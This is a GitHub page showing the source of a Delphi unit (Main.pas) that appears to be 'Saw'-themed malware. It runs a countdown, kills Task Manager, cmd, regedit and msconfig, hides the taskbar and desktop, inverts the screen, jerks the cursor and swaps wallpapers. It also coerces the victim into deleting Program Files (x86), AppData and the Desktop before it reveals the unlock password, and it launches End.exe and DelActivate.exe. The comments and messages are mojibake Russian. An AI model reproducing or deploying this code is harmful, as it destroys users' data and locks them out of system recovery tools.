This repository has been archived by the owner on Jan 2, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 2
/
Main.pas
591 lines (534 loc) · 15.3 KB
/
Main.pas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
unit Main;
interface
uses
Winapi.Windows, Winapi.Messages, SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.MPlayer, Registry, Tlhelp32, ShellAPI,
Vcl.ComCtrls, Vcl.Buttons;
type
TForm2 = class(TForm)
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
Label1: TLabel;
Timer: TTimer;
Payload1: TTimer;
MediaPlayer1: TMediaPlayer;
Cursor: TTimer;
ActivePayloads: TTimer;
WallChange: TTimer;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Edit1: TEdit;
Button1: TButton;
GroupBox3: TGroupBox;
Edit2: TEdit;
Button2: TButton;
GroupBox4: TGroupBox;
Popup: TTimer;
Text: TTimer;
Label5: TLabel;
GroupBox5: TGroupBox;
Edit3: TEdit;
Label6: TLabel;
Panel1: TPanel;
ProgressBar1: TProgressBar;
GroupBox6: TGroupBox;
Check: TTimer;
SpeedButton1: TSpeedButton;
Label7: TLabel;
Label8: TLabel;
GroupBox7: TGroupBox;
Button3: TButton;
Button4: TButton;
Inverse: TTimer;
Button5: TButton;
Button6: TButton;
Label9: TLabel;
Check2: TTimer;
KillApp: TTimer;
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure TimerTimer(Sender: TObject);
procedure FormActivate(Sender: TObject);
procedure CursorTimer(Sender: TObject);
procedure Payload1Timer(Sender: TObject);
procedure ActivePayloadsTimer(Sender: TObject);
procedure WallChangeTimer(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure BlockAppsTimer(Sender: TObject);
procedure PopupTimer(Sender: TObject);
procedure TextTimer(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure CheckTimer(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure InverseTimer(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Check2Timer(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure KillAppTimer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form2: TForm2;
j,h:integer;
password:integer;
val:integer;
implementation
uses Popup1, Popup2, Unblock;
{$R *.dfm}
function GetUserFromWindows: string;
var
UserName : string;
UserNameLen : Dword;
begin
UserNameLen := 255;
SetLength(userName, UserNameLen);
if GetUserName(PChar(UserName), UserNameLen) then
Result := Copy(UserName,1,UserNameLen - 1)
else
Result := 'Unknown';
end;
function FullRemoveDir(Dir: string; DeleteAllFilesAndFolders,
StopIfNotAllDeleted, RemoveRoot: boolean): Boolean;
var
i: Integer;
SRec: TSearchRec;
FN: string;
begin
Result := False;
if not DirectoryExists(Dir) then
exit;
Result := True;
// Äîáàâëÿåì ñëýø â êîíöå è çàäàåì ìàñêó - "âñå ôàéëû è äèðåêòîðèè"
Dir := IncludeTrailingBackslash(Dir);
i := FindFirst(Dir + '*', faAnyFile, SRec);
try
while i = 0 do
begin
// Ïîëó÷àåì ïîëíûé ïóòü ê ôàéëó èëè äèðåêòîðèþ
FN := Dir + SRec.Name;
// Åñëè ýòî äèðåêòîðèÿ
if SRec.Attr = faDirectory then
begin
// Ðåêóðñèâíûé âûçîâ ýòîé æå ôóíêöèè ñ êëþ÷îì óäàëåíèÿ êîðíÿ
if (SRec.Name <> '') and (SRec.Name <> '.') and (SRec.Name <> '..') then
begin
if DeleteAllFilesAndFolders then
FileSetAttr(FN, faArchive);
Result := FullRemoveDir(FN, DeleteAllFilesAndFolders,
StopIfNotAllDeleted, True);
if not Result and StopIfNotAllDeleted then
exit;
end;
end
else // Èíà÷å óäàëÿåì ôàéë
begin
if DeleteAllFilesAndFolders then
FileSetAttr(FN, faArchive);
Result := SysUtils.DeleteFile(FN);
if not Result and StopIfNotAllDeleted then
exit;
end;
// Áåðåì ñëåäóþùèé ôàéë èëè äèðåêòîðèþ
i := FindNext(SRec);
end;
finally
SysUtils.FindClose(SRec);
end;
if not Result then
exit;
if RemoveRoot then // Åñëè íåîáõîäèìî óäàëèòü êîðåíü - óäàëÿåì
if not RemoveDir(Dir) then
Result := false;
end;
function KillTask(ExeFileName: string): Integer;
const
PROCESS_TERMINATE = $0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
Result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
while Integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(
OpenProcess(PROCESS_TERMINATE,
BOOL(0),
FProcessEntry32.th32ProcessID),
0));
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
procedure ShowDesktop(const YesNo : boolean);
var h : THandle;
begin
h := FindWindow('ProgMan', nil);
h := GetWindow(h, GW_CHILD);
if YesNo = True then
ShowWindow(h, SW_SHOW)
else
ShowWindow(h, SW_HIDE);
end;
procedure SetWallpaper(sWallpaperBMPPath: string; bTile: boolean);
var
reg: TRegIniFile;
begin
// Èçìåíÿåì êëþ÷è ðååñòðà
// HKEY_CURRENT_USER
// Control Panel\Desktop
// TileWallpaper (REG_SZ)
// Wallpaper (REG_SZ)
reg := TRegIniFile.Create('Control Panel\Desktop');
with reg do
begin
WriteString('', 'Wallpaper',
sWallpaperBMPPath);
if (bTile) then
begin
WriteString('', 'TileWallpaper', '1');
end
else
begin
WriteString('', 'TileWallpaper', '0');
end;
end;
reg.Free;
// Îïîâåùàåì âñåõ î òîì, ÷òî ìû èçìåíèëè ñèñòåìíûå íàñòðîéêè
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, nil, SPIF_SENDWININICHANGE);
end;
procedure TForm2.ActivePayloadsTimer(Sender: TObject);
begin
if(label1.Caption = '4:20') then Payload1.Enabled := true;
if(label1.Caption = '4:5') then Inverse.Enabled := true;
if(label1.Caption = '4:0') then Cursor.Enabled := true;
if(label1.Caption = '3:45') then WallChange.Enabled := true;
if(label1.Caption = '3:30') then Popup.Enabled := True;
if(label1.Caption = '3:20') then Text.Enabled := true;
if(label1.Caption = '0:59')
then
begin
Payload1.Interval := 500;
Inverse.Interval := 1000;
Cursor.Interval := 1500;
WallChange.Interval := 1;
Text.Interval := 3500;
Popup.Interval := 500;
end;
if(label1.Caption = '0:10')
then
begin
Inverse.Interval := 500;
Payload1.Interval := 1;
Cursor.Interval := 500;
WallChange.Interval := 1;
Text.Interval := 1000;
Popup.Interval := 1;
end;
if label1.Caption = '0:0'
then
begin
Timer.Enabled := false;
Cursor.Enabled := false;
Popup.Enabled := false;
WallChange.Enabled := false;
Payload1.Enabled := false;
killApp.Enabled := false;
ShellExecute(Handle, 'open','c:\windows\help\End.exe', nil, nil,SW_HIDE);
end;
end;
procedure TForm2.BlockAppsTimer(Sender: TObject);
begin
KillTask('regedit.exe');
KillTask('resmon.exe');
KillTask('cmd.exe');
end;
procedure TForm2.Button1Click(Sender: TObject);
begin
if (Edit1.Text = '628981119')
then
begin
GroupBox1.Enabled := False;
Edit1.Enabled := False;
Button1.Enabled := False;
GroupBox4.Visible := True;
GroupBox4.Enabled := True;
Check.Enabled := true;
End
else ShowMessage('Îé, ýòî íå òî ÷èñëî ïîïðîáóé äðóãîå');
end;
procedure TForm2.Button2Click(Sender: TObject);
begin
if Edit2.Text = IntToStr(password)
then
begin
Timer.Enabled := false;
Cursor.Enabled := false;
Popup.Enabled := false;
WallChange.Enabled := false;
Payload1.Enabled := false;
KillApp.Enabled := false;
Inverse.Enabled := false;
Text.Enabled := false;
Form2.Hide;
ShowMessage('Äà ëàäíî, òû ñìîã.');
ShowMessage('ß ñâîå îáåùàíèå ñäåðæèâàþ');
ShowMessage('Òû ïðîøåë ìîè èñïûòàíèÿ, è ÿ îñòàâëþ òåáÿ â ïîêîå');
Form2.Hide;
Form2.Close;
Form6.Show;
Form4.Hide;
Form5.Hide;
end
else
begin
ShowMessage('Îé òû ïîñïåøèë');
end;
end;
procedure TForm2.Button3Click(Sender: TObject);
begin
Button3.Enabled:= false;
FullRemoveDir('C:\Program Files (x86)', true, true, true)
end;
procedure TForm2.Button4Click(Sender: TObject);
begin
Button4.Enabled := false;
ShellExecute(Handle, 'open',
'c:\windows\DelActivate.exe', nil, nil,
SW_HIDE);
end;
procedure TForm2.Button5Click(Sender: TObject);
begin
Button5.Enabled := false;
FullRemoveDir('C:\Users\'+GetUserFromWindows+'\AppData',true,true,true)
end;
procedure TForm2.Button6Click(Sender: TObject);
begin
Button6.Enabled := false;
FullRemoveDir('C:\Users\'+GetUserFromWindows+'\Desktop',true,true,true)
end;
procedure TForm2.Check2Timer(Sender: TObject);
begin
if Button3.Enabled = false
then
begin
if Button4.Enabled = false
then
begin
if Button5.Enabled = false
then
begin
if Button6.Enabled = false then Edit3.Text := IntToStr(password) else
end;
end;
end;
end;
function processExists(exeFileName: string): Boolean;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
Result := False;
while Integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
begin
Result := True;
end;
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
function CheckKill: string;
begin
if processExists('mspaint.exe') then KillTask('mspaint.exe');
if processExists('regedit.exe') then KillTask('regedit.exe');
if processExists('iexplore.exe') then KillTask('iexplore.exe');
if processExists('sidebar.exe') then KillTask('sidebar.exe');
if processExists('osk.exe') then KillTask('osk.exe');
if processExists('StikyNot.exe') then KillTask('StikyNot.exe');
if processExists('wmplayer.exe') then KillTask('wmplayer.exe');
if processExists('calc.exe') then KillTask('calc.exe');
if processExists('cmd.exe') then KillTask('cmd.exe');
if processExists('taskmgr.exe') then KillTask('taskmgr.exe');
if processExists('taskschd.msc') then KillTask('taskschd.msc');
if processExists('taskschd.exe') then KillTask('taskschd.exe');
if processExists('msconfig.exe') then KillTask('msconfig.exe');
end;
procedure TForm2.CheckTimer(Sender: TObject);
begin
if(ProgressBar1.Position = 600)
then
begin
Panel1.Enabled := false;
GroupBox3.Visible := True;
GroupBox6.Visible := True;
end;
end;
procedure TForm2.CursorTimer(Sender: TObject);
var
x,y:integer;
begin
randomize;
x:=random(1600);
y:=random(900);
setcursorpos(x,y);
end;
procedure TForm2.FormActivate(Sender: TObject);
var
oneactivate: integer;
begin
if oneactivate = 1
then
else
begin
ActivePayloads.Enabled:=true;
Timer.Enabled:= true;
KillApp.Enabled := true;
//Edit3.Text := IntToStr(password); //debug
oneactivate:= 1;
end;
end;
procedure TForm2.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose := false;
end;
procedure TForm2.FormCreate(Sender: TObject);
begin
randomize; //Ïîäêëþ÷åíèå ðàíäîìà
val:= 1;
password:=random(900000000000); //Ãåíåðàöèÿ è ñîõðàíåíèå ïàðîëÿ â ïåðåìåííóþ
j := 300;//Êîëè÷åñòâî âðåìåíè
ProgressBar1.Max := 600;//P.s ×åì áîëüøå çíà÷åíèå òåì äîëüøå íóæíî íàæèìàòü íà êíîïêó
end;
procedure TForm2.InverseTimer(Sender: TObject);
begin
BitBlt(GetDC(0), 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN), GetDC(0), 0, 0, NOTSRCCOPY);
end;
procedure TForm2.KillAppTimer(Sender: TObject);
begin
CheckKill;
end;
procedure TForm2.Payload1Timer(Sender: TObject);
var
num:integer;
Wnd: THandle;
Wnd1: THandle;
Wnd2: THandle;
Wnd3: THandle;
Wnd4: THandle;
Wnd5: THandle;
Wnd6: THandle; { îáúÿâëÿåì ïåðåìåííûå }
int: integer;
begin
randomize;
num:=random(3);
if(num = 0)
then
begin
Wnd := FindWindow('Shell_TrayWnd',nil);
ShowWindow( FindWindow( 'Shell_TrayWnd', nil ), SW_HIDE); //ïðÿ÷åì ïàíåëü çàäà÷
ShowWindow( FindWindow( 'Button', 'Ïóñê' ), SW_HIDE); //ïðÿ÷åì êíîïêó ïóñê àíàëîãè÷íî êàê è â ÕÐ
ShowWindow( FindWindow( 'DV2ControlHost', 'Ìåíþ "Ïóñê"' ), SW_HIDE);
end
else
begin
if(num = 1)
then
begin
ShowDesktop(false);
end
else
begin
if(num = 2)
then
begin
Wnd4 := FindWindow('Shell_TrayWnd',nil);
ShowWindow( FindWindow( 'Shell_TrayWnd', nil ), SW_show); //ïîêàçûâàåì ïàíåëü çàäà÷
ShowWindow( FindWindow( 'Button', 'Ïóñê' ), SW_show); //ïîêàçûâàåì êíîïêó ïóñê àíàëîãè÷íî êàê è â ÕÐ
end
else
begin
if(num = 3)
then
begin
ShowDesktop(true);
end;
end;
end;
end;
end;
procedure TForm2.PopupTimer(Sender: TObject);
var
num: integer;
begin
randomize;
num:=random(2);
if num = 0 then Application.CreateForm(TForm6, Form6);
if num = 1 then Application.CreateForm(TForm5, Form5);
end;
procedure TForm2.SpeedButton1Click(Sender: TObject);
begin
val:= val + 1;
ProgressBar1.Position := val;
end;
procedure TForm2.TextTimer(Sender: TObject);
var
text: integer;
begin
randomize;
text:=random(5);
if text = 0 then ShellExecute(Handle, 'open', 'c:\windows\notepad.exe', 'c:\windows\debug\1.txt', nil,SW_SHOWNORMAL)
else if text = 1 then ShellExecute(Handle, 'open', 'c:\windows\notepad.exe', 'c:\windows\debug\2.txt', nil,SW_SHOWNORMAL)
else if text = 2 then ShellExecute(Handle, 'open', 'c:\windows\notepad.exe', 'c:\windows\debug\3.txt', nil,SW_SHOWNORMAL)
else if text = 3 then ShellExecute(Handle, 'open', 'c:\windows\notepad.exe', 'c:\windows\debug\4.txt', nil,SW_SHOWNORMAL)
else if text = 4 then ShellExecute(Handle, 'open', 'c:\windows\notepad.exe', 'c:\windows\debug\5.txt', nil,SW_SHOWNORMAL)
end;
procedure TForm2.TimerTimer(Sender: TObject);
var
M,S:Integer;
begin
j := j - 1;
M := (J - H*3600) div 60;
S := J - H*3600 - M*60;
label1.Caption := IntToStr(M) + ':' + IntToStr(S);
if j = 0 then
begin
Timer.Enabled := False;
end;
end;
procedure TForm2.WallChangeTimer(Sender: TObject);
var
wall:integer;
begin
randomize;
wall:=random(9);
if wall = 0 then SetWallpaper('C:\windows\saw1.jpg',false)
else if wall = 1 then SetWallpaper('C:\windows\saw2.jpg',false)
else if wall = 2 then SetWallpaper('C:\windows\saw3.jpg',false)
else if wall = 3 then SetWallpaper('C:\windows\saw4.jpg',false)
else if wall = 4 then SetWallpaper('C:\windows\saw5.jpg',false)
else if wall = 5 then SetWallpaper('C:\windows\saw6.jpg',false)
else if wall = 6 then SetWallpaper('C:\windows\saw7.jpg',false)
else if wall = 7 then SetWallpaper('C:\windows\saw8.bmp',false)
else if wall = 8 then SetWallpaper('C:\image.jpg',false)
end;
end.